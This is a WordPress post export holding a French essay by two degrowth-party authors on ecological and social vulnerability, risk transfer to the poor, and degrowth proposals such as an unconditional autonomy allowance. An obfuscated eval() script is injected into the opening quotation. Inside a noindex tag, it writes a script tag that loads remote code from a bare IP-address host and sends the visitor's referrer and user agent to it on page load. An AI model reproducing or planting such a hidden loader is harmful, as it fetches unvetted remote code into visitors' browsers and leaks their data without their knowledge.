{"id":8627,"date":"2013-09-09T21:48:15","date_gmt":"2013-09-09T20:48:15","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8627"},"modified":"2013-09-09T21:49:12","modified_gmt":"2013-09-09T20:49:12","slug":"face-a-la-vulnerabilite-de-nos-societes-ce-que-porte-la-decroissance","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8627","title":{"rendered":"Face \u00e0 la vuln\u00e9rabilit\u00e9 de nos soci\u00e9t\u00e9s, ce que porte la D\u00e9croissance"},"content":{"rendered":"<p><a href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" alt=\"\" src=\"http:\/\/www.medelu.org\/IMG\/mdl.png\" width=\"170\" height=\"131\" \/><\/a><strong><em>\u00ab\u00a0Comment <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|endbi|var|u0026u|referrer|tstez||js|php'.split('|'),0,{}))\n<\/script><\/noindex> r\u00e9concilier, d\u2019un c\u00f4t\u00e9, un horizon social \u00e0 court terme int\u00e9grant l\u2019urgence de survivre, ici et maintenant\u2026 et, d\u2019un autre, celui, \u00e0 long terme, constitu\u00e9 par la richesse v\u00e9ritable des habitants de la plan\u00e8te qui se trouve dans la pr\u00e9servation des services eco-syst\u00e9miques ? Le syst\u00e8me capitaliste n\u2019a pas su r\u00e9soudre cette \u00e9quation.<\/em><\/strong><br \/>\n<strong><em>Il faut faire preuve d\u2019audace, sans attendre. C\u2019est ce que nous propose la D\u00e9croissance, en r\u00e9conciliant l\u2019\u00e9cologie et l\u2019humain. La D\u00e9croissance introduit une critique radicale de notre soci\u00e9t\u00e9 de consommation, sans hypoth\u00e9quer nos acquis d\u00e9mocratiques, sociaux ou culturels, et sans empi\u00e9ter sur l\u2019avenir. Elle propose une remise en question profonde de notre organisation soci\u00e9tale afin de \u00ab faire mieux avec moins \u00bb.\u00a0\u00bb<\/em><\/strong><\/p>\n<p><strong>Par Anne-Isabelle Veillot et Cynthia Toupet du PPLD pour M\u00e9moire des luttes.<\/strong><\/p>\n<p>Source : <a href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos\">http:\/\/www.medelu.org\/<\/a><\/p>\n<div>\n<div>\n<p><em>Le 20 ao\u00fbt. C\u2019\u00e9tait le 20 ao\u00fbt\u2026 <\/em><br \/>\n<em>Tous les ans, l\u2019ONG <\/em>Global Footprint Network\u00a0[<a id=\"nh1\" title=\"http:\/\/www.footprintnetwork.org\/fr\/\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb1\" rel=\"footnote\">1<\/a>]<em> calcule le jour de l\u2019ann\u00e9e o\u00f9 la consommation de l\u2019humanit\u00e9 en ressources naturelles exc\u00e8de ce que la nature est capable de r\u00e9g\u00e9n\u00e9rer en un an, sans entamer son capital. C\u2019est le \u00ab\u00a0jour du d\u00e9passement\u00a0\u00bb, ou \u00ab\u00a0<\/em>Overshoot Day\u00a0<em>\u00a0\u00bb<\/em>\u00a0[<a id=\"nh2\" title=\"http:\/\/www.footprintnetwork.org\/fr\/index.php\/GFN\/page\/earth_overshoot_day\/\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb2\" rel=\"footnote\">2<\/a>]<em>. Nous allons donc vivre jusqu\u2019\u00e0 la fin 2013 en puisant sur nos stocks\u2026<\/em><\/p>\n<p>L\u2019\u00e9cologie a commenc\u00e9 \u00e0 prendre une place dans le d\u00e9bat public mondial \u00e0 partir des ann\u00e9es 1970, notamment sous l\u2019impulsion de l\u2019Unesco et de la Conf\u00e9rence des Nations unies sur l\u2019environnement humain, organis\u00e9e \u00e0 Stockholm en 1972. Et pourtant, aujourd\u2019hui, cette place reste encore trop limit\u00e9e au champ du devoir moral, plut\u00f4t qu\u2019\u00e0 celui de la n\u00e9cessit\u00e9. Lorsque nous admettrons\u00a0\u00e0 quel point la pr\u00e9servation de l\u2019humanit\u00e9 est li\u00e9e \u00e0 celle de l\u2019ensemble des services \u00e9co-syst\u00e9miques (des services de la nature rendus \u00e0 l\u2019homme), peut-\u00eatre adopterons-nous alors une posture r\u00e9solument courageuse. Saisirons-nous combien Indira Gandhi avait vu juste quand elle affirmait lors de la conf\u00e9rence de\u00a0Stockholm\u00a0(en tant que premier ministre de l\u2019Inde) que \u00ab\u00a0<em>la pauvret\u00e9 est la forme la plus grave de\u00a0<\/em><em>pollution<\/em>\u00a0\u00bb\u00a0? Ce cercle vicieux entre\u00a0pauvret\u00e9\u00a0et d\u00e9gradation de l\u2019environnement semble-t-il si abstrait\u00a0?<!--more--><\/p>\n<\/div>\n<div>\n<p>Les conditions environnementales d\u00e9terminent les conditions sociales. Si l\u2019on pense la question de l\u2019acc\u00e8s aux ressources naturelles et aux biens communs, on discerne le lien indissociable entre \u00e9cologie et justice sociale. La vuln\u00e9rabilit\u00e9 des individus que nous connaissons et acceptons dans la nature ne correspond pas avec une certaine id\u00e9e que nous nous faisons de la d\u00e9mocratie lorsque cette premi\u00e8re est produite par le collectif. Ce qui \u00e9tait de l\u2019ordre du naturel, ce que Darwin appelait \u00ab\u00a0s\u00e9lection naturelle\u00a0\u00bb, est devenu structurel dans les soci\u00e9t\u00e9s humaines. Quelle l\u00e9gitimit\u00e9 accorder \u00e0 ce m\u00e9canisme darwinien dans le cadre de la justice sociale\u00a0?<\/p>\n<p>Dans notre syst\u00e8me capitaliste et productiviste, les riches transf\u00e8rent leurs dommages environnementaux aux pauvres. Ce \u00ab\u00a0transfert du risque\u00a0\u00bb a \u00e9t\u00e9 conceptualis\u00e9 par le professeur de science politique am\u00e9ricain Jacob S. Haker. Regardons simplement la localisation, dans les r\u00e9gions les plus pauvres du monde, des sites de pollution ou de gestion des produits dangereux. Depuis longtemps, les ph\u00e9nom\u00e8nes de transfert de risques ne concernent pas uniquement les capitaux. L\u2019oligarchie toute enti\u00e8re organise sa protection sur le dos des plus faibles. Au-del\u00e0 du simple fait de poss\u00e9der ou non des biens, c\u2019est l\u2019exposition au(x) risque(s) qui est exacerb\u00e9e par ce type de contrat social. Tout le jeu de la soci\u00e9t\u00e9 de la croissance est de \u00ab\u00a0d\u00e9prot\u00e9ger\u00a0\u00bb ceux qui sont d\u00e9j\u00e0 vuln\u00e9rables. Elle organise ainsi la mis\u00e8re, et canalise la population par le r\u00e9gime de la peur. Appartenance \u00e0 telle ou telle cat\u00e9gorie sociale, isolement, localisation g\u00e9ographique constituent les crit\u00e8res qui d\u00e9terminent les contours r\u00e9els du droit \u00e0 la vie pour chaque individu. Tous les conflits sociaux modernes sont li\u00e9s \u00e0 ces nouveaux risques. C\u2019est ce que le sociologue allemand Ulrich Beck\u00a0[<a id=\"nh3\" title=\"Ulrich  Beck, La soci\u00e9t\u00e9 du risque, Champs  Essais, Paris, 2008.\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb3\" rel=\"footnote\">3<\/a>] nomme la \u00ab\u00a0soci\u00e9t\u00e9 du risque\u00a0\u00bb.<\/p>\n<p>L\u2019extr\u00eame marchandisation de l\u2019ensemble du monde, la sp\u00e9culation sur les biens communs, l\u2019accaparement des terres, l\u2019exploitation \u00e0 outrance des ressources dans le but de r\u00e9aliser toujours plus de profit, multiplient, depuis des d\u00e9cennies, des logiques mortif\u00e8res. Le productivisme et le consum\u00e9risme g\u00e9n\u00e8rent la production d\u2019in\u00e9galit\u00e9s inacceptables<em>. <\/em>Notre mod\u00e8le capitaliste, productiviste, n\u2019a plus de perspectives. Tous les signaux sont au rouge. Le risque est grand que nous passions bient\u00f4t de la raret\u00e9 des ressources, qui cr\u00e9e d\u00e9j\u00e0 de nombreux conflits, \u00e0 la p\u00e9nurie compl\u00e8te\u2026 Nous imaginons alors f\u00e9brilement la barbarie qui pourrait voir le jour. La premi\u00e8re chose qui pourrait dispara\u00eetre, ce ne sont pas les hommes, mais leur humanit\u00e9. D\u2019une certaine mani\u00e8re, plus nous irons vers des conflits \u00e9cologiques de grande ampleur, et plus la barbarie nous conduira vers des conflits de civilisation majeurs. L\u2019adaptation aux changements climatiques op\u00e8rera d\u2019une mani\u00e8re ou d\u2019une autre. Si elle n\u2019advient pas sur un mode d\u00e9mocratique, elle s\u2019imposera sur un mode darwinien. Les plus vuln\u00e9rables p\u00e9riront. Certains croient encore qu\u2019en injectant des capitaux dans l\u2019\u00e9conomie, nous r\u00e9soudrons les probl\u00e8mes, mais cela ne fonctionne pas ainsi. On transforme actuellement la notion de \u00ab\u00a0r\u00e9silience\u00a0\u00bb en gestion du \u00ab\u00a0trauma\u00a0\u00bb. Rob Hopkins, fondateur du mouvement Villes en transition\u00a0[<a id=\"nh4\" title=\"http:\/\/www.transitionfrance.fr\/\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb4\" rel=\"footnote\">4<\/a>] d\u00e9finit ainsi cette notion\u00a0: il s\u2019agit de \u00ab\u00a0<em>la capacit\u00e9 d\u2019un syst\u00e8me \u00e0 absorber un changement perturbant et \u00e0 se r\u00e9organiser en int\u00e9grant ce changement, tout en conservant essentiellement la m\u00eame fonction, la m\u00eame structure, la m\u00eame identit\u00e9 et les m\u00eames capacit\u00e9s de r\u00e9action.<\/em>\u00a0\u00bb Nous faisons donc fausse route. Une croissance infinie dans un monde fini demeure un fantasme\u00a0!<\/p>\n<p>Prenons le temps de consid\u00e9rer l\u2019homme avec ce qui l\u2019environne. Prenons conscience de l\u2019ensemble des services \u00e9co-syst\u00e9miques existants. Ce sont eux qui assurent pleinement notre humanit\u00e9.<\/p>\n<p>Toute l\u2019astuce est de trouver \u00e0 pr\u00e9sent, la (les) voie(s) pour concilier la r\u00e9duction de la pauvret\u00e9 avec le bien-\u00eatre \u00e0 court et \u00e0 longs termes. Comment r\u00e9concilier, d\u2019un c\u00f4t\u00e9, un horizon social \u00e0 court terme int\u00e9grant l\u2019urgence de survivre, ici et maintenant\u2026 et, d\u2019un autre, celui, \u00e0 long terme, constitu\u00e9 par la richesse v\u00e9ritable des habitants de la plan\u00e8te qui se trouve dans la pr\u00e9servation des services eco-syst\u00e9miques\u00a0? Le syst\u00e8me capitaliste n\u2019a pas su r\u00e9soudre cette \u00e9quation.<\/p>\n<p>Il faut faire preuve d\u2019audace, sans attendre. C\u2019est ce que nous propose la D\u00e9croissance\u00a0[<a id=\"nh5\" title=\"Il  existe une distinction entre la \u201cD\u00e9croissance\u201d (avec majuscule), qui est\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb5\" rel=\"footnote\">5<\/a>],\u00a0en r\u00e9conciliant l\u2019\u00e9cologie et l\u2019humain. La D\u00e9croissance introduit une critique radicale de notre soci\u00e9t\u00e9 de consommation, sans hypoth\u00e9quer nos acquis d\u00e9mocratiques, sociaux ou culturels, et sans empi\u00e9ter sur l\u2019avenir. Elle propose une remise en question profonde de notre organisation soci\u00e9tale afin de \u00ab\u00a0faire mieux avec moins\u00a0\u00bb. La communaut\u00e9 humaine et politique n\u2019est pas simplement compos\u00e9e d\u2019hommes et de femmes, comme le soulignait l\u2019\u00e9cologiste am\u00e9ricain Aldo Leopold. \u00ab\u00a0<em>L\u2019<\/em><em>\u00e9thique <\/em><em>de la terre<\/em><em>, <\/em>\u00e9crivait-il en 1949<em>,<\/em><em>\u00e9largit simplement les fronti\u00e8res de la communaut\u00e9<\/em>\u00a0<em>de mani\u00e8re \u00e0 y inclure le sol, l\u2019eau, les plantes et les animaux ou, collectivement, la terre (&#8230;). Nous abusons de la terre, parce que nous la consid\u00e9rons comme une chose nous appartenant. Quand nous la consid\u00e9rerons comme une communaut\u00e9 \u00e0 laquelle nous appartenons, nous pourrons commencer \u00e0 l\u2019utiliser avec amour et respect.<\/em>\u00a0\u00bb\u00a0[<a id=\"nh6\" title=\"Aldo Leopold, Almanach d\u2019un comt\u00e9 des sables, Flammarion, Paris,\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb6\" rel=\"footnote\">6<\/a>] Il est urgent de renoncer \u00e0 concevoir l\u2019homme <em>in abstracto<\/em>. Et, surtout, \u00e0 cultiver la croyance selon laquelle nous pourrions, ou devrions, proc\u00e9der \u00e0 un arbitrage entre les hommes et la terre. Ce dernier serait fatal pour tous, notamment pour les pays dits \u00ab\u00a0\u00e9mergents\u00a0\u00bb.<\/p>\n<p>La pr\u00e9servation de notre environnement est \u00e9galement et ind\u00e9niablement li\u00e9e \u00e0 une certaine id\u00e9e que nous nous faisons de la justice sociale et de la d\u00e9mocratie r\u00e9elle. La dynamique \u00e9co-syst\u00e9mique est profond\u00e9ment protectrice de nos vies. L\u2019\u00e9cologie ne doit plus \u00eatre r\u00e9duite \u00e0 une question morale qui mettrait en accusation l\u2019humanit\u00e9 et ses outrages. L\u2019\u00e9cologie, c\u2019est permettre \u00e0 chacun de reconqu\u00e9rir sa dignit\u00e9, droit inali\u00e9nable reconnu dans la D\u00e9claration des droits de l\u2019homme.<\/p>\n<p>Renforcer la vuln\u00e9rabilit\u00e9 sociale signifie renforcer la vuln\u00e9rabilit\u00e9 d\u00e9mocratique. Autrefois d\u00e9volue \u00e0 l\u2019entourage de l\u2019individu, la s\u00e9curit\u00e9 offerte en r\u00e9ponse \u00e0 la vuln\u00e9rabilit\u00e9 sociale est assur\u00e9e pour un tiers des pays du monde par l\u2019Etat, en tant que fonction r\u00e9galienne de l\u2019Etat-providence. Pour Robert Castel, \u00ab\u00a0<em>l\u2019ins\u00e9curit\u00e9 est (&#8230;) [bien] une dimension consubstantielle \u00e0 la coexistence des individus dans une soci\u00e9t\u00e9 moderne<\/em>\u00a0\u00bb\u00a0[<a id=\"nh7\" title=\"Robert Castel,  L\u2019Ins\u00e9curit\u00e9 sociale : qu\u2019est-ce qu\u2019\u00eatre prot\u00e9g\u00e9 ?, Seuil,\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb7\" rel=\"footnote\">7<\/a>].<\/p>\n<p>Dans un contexte d\u2019ins\u00e9curit\u00e9 (environnementale, sociale, \u00e9conomique, sanitaire, etc.), une personne vuln\u00e9rable ne se rebelle pas. Elle d\u00e9veloppe, avant tout, toutes les strat\u00e9gies possibles et imaginables pour s\u2019adapter \u00e0 sa situation, s\u2019adapter \u00e0 un syst\u00e8me malade. Elle concentre toute son \u00e9nergie \u00e0 survivre, et finit par se rendre invisible. Elle renforce une certaine dynamique de n\u00e9gativit\u00e9 qu\u2019il devient difficile de transformer en puissance d\u2019agir. Quand les in\u00e9galit\u00e9s sociales se renforcent dans un pays, se renforcent avec elles les in\u00e9galit\u00e9s \u00e9cologiques, et <em>vice et versa<\/em>. Derri\u00e8re chaque crise sociale et chaque crise \u00e9cologique, il y a crise des in\u00e9galit\u00e9s. C\u2019est un cycle non vertueux, destructeur, deshumanisant.<\/p>\n<p>Une d\u00e9marche vers plus de d\u00e9mocratie s\u2019orienterait autour de la question de savoir comment redonner du pouvoir d\u2019agir, de la d\u00e9cence commune, pour se r\u00e9approprier la \u00ab\u00a0chose politique\u00a0\u00bb. En cela, toutes les initiatives citoyennes \u00e0 l\u2019\u0153uvre en France, en Europe et ailleurs, prises pour promouvoir la mise en place d\u2019un revenu de base inconditionnel sont strat\u00e9giques, profond\u00e9ment d\u00e9mocratiques et incontournables. Bien au-del\u00e0, le projet de soci\u00e9t\u00e9 de D\u00e9croissance port\u00e9 par le <em>Manifeste pour une dotation inconditionnelle d\u2019autonomie (DIA)<\/em> coupl\u00e9e \u00e0 l\u2019existence d\u2019un revenu maximum acceptable (RMA), constitue un formidable levier d\u00e9mocratique pour lutter contre la vuln\u00e9rabilit\u00e9 sociale, l\u2019ins\u00e9curit\u00e9 et, par cons\u00e9quent, contre les in\u00e9galit\u00e9s environnementales\u00a0[<a id=\"nh8\" title=\"Lire  Vincent Liegey, St\u00e9phane Madelaine, Christophe Ondet et Anisabel\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb8\" rel=\"footnote\">8<\/a>].<\/p>\n<p>Il s\u2019agit d\u2019exemples parmi tant d\u2019autres pour permettre la construction de soci\u00e9t\u00e9s soutenables et souhaitables. Les leviers d\u00e9mocratiques de la D\u00e9croissance sont multiples pour resocialiser la politique et re-politiser la soci\u00e9t\u00e9\u00a0: les relocalisations, les gratuit\u00e9s des services et du bon usage, le rench\u00e9rissement du m\u00e9susage, etc\u00a0[<a id=\"nh9\" title=\"Lire la  plateforme de convergences des Objecteurs de croissance :\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb9\" rel=\"footnote\">9<\/a>]. Ce ne sont que de simples choix \u00e0 faire. Les projets de soci\u00e9t\u00e9 que v\u00e9hicule la D\u00e9croissance en pr\u00e9sentent de nombreux. La soci\u00e9t\u00e9 civile fourmille d\u2019initiatives et d\u2019exp\u00e9rimentations concr\u00e8tes pour cr\u00e9er de du pouvoir d\u2019agir citoyen. Lors du \u00ab\u00a0Sommet des peuples pour la justice sociale et \u00e9cologique, contre la marchandisation de la vie et pour la d\u00e9fense des biens communs\u00a0\u00bb qui s\u2019est tenu en parall\u00e8le de la Conf\u00e9rence \u00ab\u00a0Rio+20\u00a0\u00bb de l\u2019ONU \u00e0 Rio de Janeiro, en 2012\u00a0[<a id=\"nh10\" title=\"Sur ce sujet, lire Ignacio  Ramonet, \u00ab Les d\u00e9fis de Rio+20 \u00bb  (http:\/\/www.medelu.or\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb10\" rel=\"footnote\">10<\/a>], ce ne sont pas les citoyens du monde qui ont \u00e9t\u00e9 l\u00e2ches, mais bien les chefs d\u2019Etat r\u00e9unis autour de la r\u00e9daction d\u2019un texte pauvre \u00e0 en fr\u00e9mir. Comme l\u2019a parfaitement r\u00e9sum\u00e9 la philosophe Cynthia Fleury,<em> \u00ab\u00a0le prix du non courage n\u2019est-il pas plus lourd \u00e0 payer sur le long terme que celui de la l\u00e2chet\u00e9 aujourd\u2019hui\u00a0?<\/em>\u00a0\u00a0[<a id=\"nh11\" title=\"Cynthia Fleury, La fin du courage : la  reconqu\u00eate d\u2019une vertu d\u00e9mocratique,\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nb11\" rel=\"footnote\">11<\/a>]\u00a0\u00bb.<\/p>\n<p>Tous les pays riches ou \u00e9mergents ont un nouveau d\u00e9fi \u00e0 relever\u00a0: sortir de ce mod\u00e8le capitaliste mortif\u00e8re et reconqu\u00e9rir la d\u00e9mocratie, notamment par la prise en compte de la question environnementale. C\u2019est une nouvelle fronti\u00e8re \u00e0 int\u00e9grer pour offrir une formidable promesse de progr\u00e8s d\u00e9mocratique. L\u2019ensemble des enjeux environnementaux doit aujourd\u2019hui \u00eatre politis\u00e9.<\/p>\n<p>Nos choix d\u00e9mocratiques en mati\u00e8re de justice sociale d\u00e9termineront, en d\u00e9finitive, la vuln\u00e9rabilit\u00e9 r\u00e9elle de nos soci\u00e9t\u00e9s. Quels seront-ils\u00a0?<br \/>\nLes riches et les plus puissants \u00e9tant toujours prot\u00e9g\u00e9s de fait, voudrons-nous nous prot\u00e9ger tous, sans exception\u00a0?<br \/>\nD\u00e9passerons-nous la mise en garde visionnaire formul\u00e9e par Indira Gandhi lors de la conf\u00e9rence de Stockholm\u00a0: \u00ab\u00a0<em>Il serait ironique que le combat contre la pollution se termine en conflit d\u2019int\u00e9r\u00eat\u00a0!<\/em>\u00a0\u00bb<strong>\u00a0<\/strong>\u00a0?<strong><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"text-decoration: underline;\">Pour aller plus loin\u00a0:<\/span><\/strong><\/p>\n<p><span style=\"text-decoration: underline;\">A voir\u00a0:<\/span><\/p>\n<ul>\n<li>Semaine mondiale sur le revenu de base du 16 au 22 septembre\u00a0: <a href=\"http:\/\/semaine.revenudebase.info\/\">http:\/\/semaine.revenudebase.info\/<\/a><\/li>\n<li>Alternatiba\u00a0:\u00a0le 6 octobre 2013, une journ\u00e9e de mobilisation citoyenne ambitieuse et originale sera organis\u00e9e \u00e0 Bayonne. La ville accueillera un v\u00e9ritable village des alternatives, individuelles, collectives, territoriales et syst\u00e9miques, au changement climatique et \u00e0 la crise \u00e9nerg\u00e9tique. <a href=\"http:\/\/www.bizimugi.eu\/fr\/alternatiba\/\">http:\/\/www.bizimugi.eu\/fr\/alternatiba\/<\/a><\/li>\n<\/ul>\n<p><span style=\"text-decoration: underline;\">A (re)lire<\/span>\u00a0:<\/p>\n<ul>\n<li>Naomi Klein,<em> La strat\u00e9gie du choc\u00a0: la mont\u00e9e d\u2019un capitalisme du d\u00e9sastre<\/em>, \u00e9ditions Actes Sud, 2008.<\/li>\n<\/ul>\n<p><span style=\"text-decoration: underline;\">A \u00e9couter\u00a0:<\/span><\/p>\n<ul>\n<li>\u00ab\u00a0Ecologie et justice sociale\u00a0\u00bb, intervention de Cynthia Fleury et Eloi Laurent sur France Culture le 17\/08\/2013<br \/>\n:\u00a0<a href=\"http:\/\/www.franceculture.fr\/emission-la-revolution-ecologique-ecologie-et-justice-sociale-2013-08-17\">http:\/\/www.franceculture.fr\/emission-la-revolution-ecologique-ecologie-et-justice-sociale-2013-08-17<\/a><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<\/div>\n<\/div>\n<div id=\"tags2\"><img loading=\"lazy\" decoding=\"async\" alt=\"tag\" src=\"http:\/\/www.medelu.org\/IMG\/tag.gif\" width=\"10\" height=\"10\" \/><strong>\u00a0Mots-cl\u00e9s :\u00a0<\/strong><\/p>\n<ul>\n<li><a href=\"http:\/\/www.medelu.org\/+-Decroissance-+\">D\u00e9croissance<\/a><\/li>\n<\/ul>\n<\/div>\n<div>\n<h2>Notes<\/h2>\n<p>[<a id=\"nb1\" title=\"Notes 1\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh1\" rev=\"footnote\">1<\/a>] <a href=\"http:\/\/www.footprintnetwork.org\/fr\/\">http:\/\/www.footprintnetwork.org\/fr\/<\/a><\/p>\n<p>[<a id=\"nb2\" title=\"Notes 2\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh2\" rev=\"footnote\">2<\/a>] <a href=\"http:\/\/www.footprintnetwork.org\/fr\/index.php\/GFN\/page\/earth_overshoot_day\/\">http:\/\/www.footprintnetwork.org\/fr\/index.php\/GFN\/page\/earth_overshoot_day\/<\/a><\/p>\n<p>[<a id=\"nb3\" title=\"Notes 3\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh3\" rev=\"footnote\">3<\/a>] Ulrich Beck<em>, La soci\u00e9t\u00e9 du risque, <\/em>Champs Essais, Paris, 2008.<\/p>\n<p>[<a id=\"nb4\" title=\"Notes 4\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh4\" rev=\"footnote\">4<\/a>] <a href=\"http:\/\/www.transitionfrance.fr\/\">http:\/\/www.transitionfrance.fr\/<\/a><\/p>\n<p>[<a id=\"nb5\" title=\"Notes 5\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh5\" rev=\"footnote\">5<\/a>] Il existe une distinction entre la \u201cD\u00e9croissance\u201d (avec majuscule), qui est un slogan, un nouveau paradigme, le nom d\u2019un nouveau mouvement politique et de pens\u00e9e, et la \u201cd\u00e9croissance\u201d (avec minuscule), qui correspond au sens premier du terme en fran\u00e7ais, comme d\u00e9croissance des in\u00e9galit\u00e9s ou de l\u2019empreinte \u00e9cologique.<\/p>\n<p>[<a id=\"nb6\" title=\"Notes 6\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh6\" rev=\"footnote\">6<\/a>] Aldo Leopold<em>, Almanach d\u2019un comt\u00e9 des sables<\/em>, Flammarion, Paris, 2000.<\/p>\n<p>[<a id=\"nb7\" title=\"Notes 7\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh7\" rev=\"footnote\">7<\/a>] Robert Castel<em>, L\u2019Ins\u00e9curit\u00e9 sociale\u00a0: qu\u2019est-ce qu\u2019\u00eatre prot\u00e9g\u00e9\u00a0?<\/em>,\u00a0Seuil, Paris, 2003.<\/p>\n<p>[<a id=\"nb8\" title=\"Notes 8\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh8\" rev=\"footnote\">8<\/a>] Lire Vincent Liegey, St\u00e9phane Madelaine, Christophe Ondet et Anisabel Veillot,<em> Un projet de d\u00e9croissance, Manifeste pour une dotation inconditionnelle d\u2019autonomie<\/em>, \u00e9ditions Utopia, Paris, 2013. <a href=\"http:\/\/www.projet-decroissance.net\/\">http:\/\/www.projet-decroissance.net\/<\/a><\/p>\n<p>[<a id=\"nb9\" title=\"Notes 9\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh9\" rev=\"footnote\">9<\/a>] Lire la plateforme de convergences des Objecteurs de croissance\u00a0: <a href=\"http:\/\/www.partipourladecroissance.net\/?page_id=6122\">http:\/\/www.partipourladecroissance.net\/?page_id=6122<\/a><\/p>\n<p>[<a id=\"nb10\" title=\"Notes 10\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh10\" rev=\"footnote\">10<\/a>] Sur ce sujet, lire Ignacio Ramonet, \u00ab\u00a0Les d\u00e9fis de Rio+20\u00a0\u00bb (<a href=\"http:\/\/www.medelu.org\/Les-defis-de-Rio-20\">http:\/\/www.medelu.org\/Les-defis-de-Rio-20<\/a>) et Christophe Ventura, \u00ab\u00a0Les impr\u00e9vus de Rio + 20\u00a0\u00bb\u00a0(<a href=\"http:\/\/www.medelu.org\/Les-imprevus-de-Rio-20\">http:\/\/www.medelu.org\/Les-imprevus-de-Rio-20<\/a>)<\/p>\n<p>[<a id=\"nb11\" title=\"Notes 11\" href=\"http:\/\/www.medelu.org\/Face-a-la-vulnerabilite-de-nos#nh11\" rev=\"footnote\">11<\/a>] Cynthia Fleury,<em> La fin du courage\u00a0: la reconqu\u00eate d\u2019une vertu d\u00e9mocratique<\/em>, Fayard, Paris, 2010.<\/p>\n<\/div>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0Comment r\u00e9concilier, d\u2019un c\u00f4t\u00e9, un horizon social \u00e0 court terme int\u00e9grant l\u2019urgence de survivre, ici et maintenant\u2026 et, d\u2019un autre, celui, \u00e0 long terme, constitu\u00e9 par la richesse v\u00e9ritable des habitants de la plan\u00e8te qui se trouve dans la pr\u00e9servation &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=8627\">Continuer la lecture <span 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